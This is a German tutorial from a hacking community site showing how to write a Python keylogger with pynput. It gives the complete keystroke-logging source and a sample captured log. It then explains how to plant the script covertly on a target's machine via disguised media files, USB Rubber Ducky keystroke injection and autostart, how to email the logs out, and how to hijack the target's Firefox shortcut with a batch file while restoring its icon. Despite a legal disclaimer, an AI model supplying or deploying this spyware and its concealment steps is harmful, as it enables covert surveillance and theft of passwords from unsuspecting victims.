Disclaimer
Die hier beschriebene Angriffstechnik darf nur auf dem eigenen Rechner durchgeführt werden. Auf Rechnern Dritter darf die hier beschriebene Angriffstechnik nur dann durchgeführt werden, wenn der Besitzer dieses Rechners seine Zustimmung dafür gegeben hat. Ich übernehme keine Haftung für jedwede durch Missachtung dieser Vorgaben entstandenen Schäden! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!
1. Einführung
Ein Keylogger (zu Deutsch: „Tasten-Protokollierer“) dient der Erstellung eines Protokolls über die vom Target gedrückten Tasten. Dadurch ist es möglich, das Target zu überwachen und alle seine Eingaben zu rekonstruieren. Auch das Ausspähen von Passwörtern für Web-Apps ist mit einem Keylogger eine Leichtigkeit, da (je nach Implementierung) alle Tastenanschläge des Targets im Klartext gespeichert werden.
Ermittlungsbehörden, Nachrichtendienste und Blackhats verwenden Keylogger, um an PINs, Passwörter oder vertrauliche Informationen zu gelangen. Der unerlaubte Einsatz ist in Deutschland gemäß §202a StGB strafbar.
In diesem Artikel, der auch als kleiner Appetizer für die geplante Python-Tutorialreihe fungiert, geht es um die Implementierung eines Keyloggers in Python unter Zuhilfenahme des Moduls pynput.
2. Python Keylogger mit pynput
Zum Programmieren eines eigenen Keyloggers in Python bietet sich das Modul pynput an, das Sie hier (https://github.com/moses-palmer/pynput) downloaden können.
Wechseln Sie nach dem Download (ZIP-File) in Ihren Download-Ordner und extrahieren Sie das heruntergeladene ZIP-File. Navigieren Sie in den Unterordner pynput-master\pynput-master
und installieren Sie das Modul durch einen Doppelklick auf das Skript setup.py.
Alternativ kann die Installation über den Konsolenbefehl python setup.py install
erfolgen. Zur Kontrolle, ob das Modul richtig installiert wurde, können Sie die Python-Shell öffnen und den Befehl import pynput
eintippen. Wenn nach dem Klick auf ENTER keine Fehlermeldung erscheint, wurde pynput erfolgreich installiert und kann in Python-Skripten verwendet werden. Für das Keylogger-Skript benötigen Sie folgende Imports:
from pynput.keyboard import Key, Listener
import logging
In einer Variable log_destination
geben Sie an, wo das Logfile, welches beim Ausführen des Keyloggers erzeugt wird, gespeichert werden soll. Weisen Sie dieser Variablen einen leeren String ("") zu, so wird das Logfile mit den Keyboard-Input an dem Ort des Python-Skripts erzeugt/gespeichert. In einer weiteren Variable log_name
wird der Name und das Dateiformat des Logfiles (üblicherweise ".txt") definiert.
log_destination = ""
log_name = "log.txt"
Als nächstes wird die Konfiguration für das Logfile vorgenommen (samt gewünschter Formatierung).
logging.basicConfig(filename=(log_destination + log_name), level=logging.DEBUG, format='%(asctime)s >> %(message)s')
Zum Schluss wird eine on_press
Funktion (die Namensgebung ist vorgeschrieben!) implementiert, die das Logging übernimmt.
def on_press(key):
x = logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
Das Keylogger-Skript sieht also folgendermaßen aus:
from pynput.keyboard import Key, Listener
import logging
log_destination = ""
log_name = "log.txt"
logging.basicConfig(filename=(log_destination + log_name), level=logging.DEBUG, format='%(asctime)s >> %(message)s')
def on_press(key):
x = logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
Öffnen Sie einen beliebigen Editor, kopieren Sie den obigen Code hinein und speichern Sie das File mit der Dateiendung ".pyw" ab (z. B. "keylogger.pyw"). Im Gegensatz zur Dateiendung ".py" sorgt das am Ende angehängte "w" dafür, dass das Skript „leise“ im Hintergrund ausgeführt wird.
Das Skript können Sie testweise per Doppelklick auf das "keylogger.pyw"-File oder über die Konsole mit dem Befehl python keylogger.pyw
starten. Zum Beenden müssen Sie den Taskmanager aufrufen und den Python-Prozess stoppen:
3. Praktische Durchführung des Angriffs
Das Tool alleine ist nur Teil eines Keylogger-Angriffs. Man muss sich vor allem überlegen, wie man das Skript unbemerkt auf den Rechner des Targets bekommt und die Informationen nach dem Logging-Prozess abgreifen kann. Hierzu sind verschiedene Varianten denkbar:
- Das Skript wird per E-Mail als Media File (Bild-, Audio- oder Video-Datei) getarnt versendet. Das Skript selbst (bzw. der Code dafür) kann in dem entsprechenden File versteckt werden und bei physischem Zugriff auf den Rechner des Targets schnell extrahiert werden. Hierzu könnte mit dem USB Rubber Ducky ein Keystroke Injection Angriff durchgeführt werden, der nach dem File sucht, das Skript extrahiert und z. B. im Autostart einhängt.
- Das Skript wird auf einem Server gespeichert, bei physischem Zugriff auf den Rechner des Targets heruntergeladen und (wie bereits beschrieben) an verschiedenen Stellen eingehängt. Auch hierzu eignet sich ein Keystroke Injection Angriff.
- Ebenfalls über einen Keystroke Injection Angriff läuft die dritte Variante, bei der das Skript direkt am Target-Rechner programmiert und eingehängt wird. Dadurch ist keine Verbindung nach Außen nötig.
Das Logfile selbst könnte (möglichst unbemerkt) periodisch per E-Mail an den Angreifer gesendet werden. Wenn der Angreifer im Vorfeld weiß, dass er in Zukunft wieder physischen Kontakt auf den Rechner des Targets erhält, kann er geduldig die nächste Möglichkeit abwarten und das File, welches in weiser Voraussicht gut versteckt wurde, unbemerkt abgreifen.
In dem Logfile selbst werden neben den gedrückten Tasten auch die Zeiten, zu denen sie gedrückt wurden, gespeichert. Dadurch kann man genau nachvollziehen, was das Target am Rechner getan hat. Zudem können kausale Zusammenhänge aus dem Trace abgeleitet werden. Hierdurch wird es z. B. auch möglich mit den geloggten Daten ein neuronales Netz zu trainieren, das beim Einsatz behavioraler Authentifizierung das Verhalten des Targets nachahmen und sich so unbemerkt einnisten kann (sollte bspw. das Tippverhalten ein ausschlaggebendes Kriterium für die behaviorale Authentifizierung sein).
Der Inhalt eines Logfiles sieht z. B. wie folgt aus:
2018-02-28 00:44:21,410 >> Key.shift
2018-02-28 00:44:22,078 >> 'D'
2018-02-28 00:44:22,415 >> 'i'
2018-02-28 00:44:22,550 >> 'e'
2018-02-28 00:44:22,694 >> 's'
2018-02-28 00:44:22,826 >> Key.space
2018-02-28 00:44:23,127 >> 'i'
2018-02-28 00:44:23,204 >> 's'
2018-02-28 00:44:23,402 >> 't'
2018-02-28 00:44:23,523 >> Key.space
2018-02-28 00:44:23,675 >> 'e'
2018-02-28 00:44:23,783 >> 'i'
2018-02-28 00:44:23,827 >> 'n'
2018-02-28 00:44:23,965 >> Key.space
2018-02-28 00:44:24,082 >> Key.shift
2018-02-28 00:44:24,284 >> 'T'
2018-02-28 00:44:24,369 >> 'e'
2018-02-28 00:44:24,508 >> 's'
2018-02-28 00:44:24,582 >> 't'
2018-02-28 00:44:25,416 >> Key.shift
2018-02-28 00:44:25,885 >> '!'
4. Tarnen des Skripts
Dass die Dateiendung ".pyw" das Skript im Hintergrund ausführt, wurde bereits erwähnt. Eine pragmatische Tarnung ist das Einhängen in Autostart. Sind nur bestimmte Informationen wichtig (z. B. Passwörter für Online-Accounts) kann man ein Batch-File schreiben, das den Keylogger und z. B. den Standard-Browser des Targets aufruft. Somit wird alles ab dem Öffnen des Browsers mitgeschnitten. Der Tarnungsprozess wird exemplarisch für den Firefox-Webbrowser vorgeführt:
4.1 Batch-File erstellen
Das Batch-File besteht aus lediglich drei Anweisungen:
@echo off
start "" "C:\Users\%username%\...\keylogger.pyw"
start "" "C:\Program Files\Mozilla Firefox\firefox.exe"
Das File wird z. B. unter dem Namen "starter.bat" gespeichert.
4.2 Batch-File einhängen
Führen Sie einen Rechtsklick auf das Firefox-Icon auf dem Target-Rechner aus und wählen Sie die Option "Eigenschaften" aus.
Kopieren Sie den Link zum Batch-File in das Feld "Ziel" und übernehmen Sie die Änderungen.
Zum Schluss müssen Sie ggf. das Logo für den Firefox-Webbrowser wiederherstellen und die Illusion ist perfekt.
Autor: Florian André Dalwigk
Das Mitglied hat durch den Artikel 50 Bonuspunkte erhalten. Schreib auch du einen Artikel.